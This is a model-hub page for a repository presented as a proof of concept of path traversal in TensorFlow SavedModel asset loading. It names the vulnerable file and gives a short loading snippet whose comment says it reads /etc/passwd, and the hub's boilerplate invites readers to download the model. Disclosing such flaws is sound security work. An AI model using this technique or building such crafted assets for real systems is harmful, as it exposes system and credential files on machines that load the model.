Instructions to use surrealgrain/tf-savedmodel-path-traversal-poc with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- TF-Keras
How to use surrealgrain/tf-savedmodel-path-traversal-poc with TF-Keras:
# Note: 'keras<3.x' or 'tf_keras' must be installed (legacy) # See https://github.com/keras-team/tf-keras for more details. from huggingface_hub import from_pretrained_keras model = from_pretrained_keras("surrealgrain/tf-savedmodel-path-traversal-poc") - Notebooks
- Google Colab
- Kaggle
TensorFlow SavedModel Path Traversal PoC
Proof-of-concept for path traversal via AssetFileDef.filename in TensorFlow's SavedModel loading.
Vulnerability: tensorflow/python/trackable/asset.py - unsanitized ../ in asset filenames.
import tensorflow as tf
model = tf.saved_model.load("./")
result = model.read_asset()
print(result.numpy().decode()) # Reads /etc/passwd
- Downloads last month
- 38
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support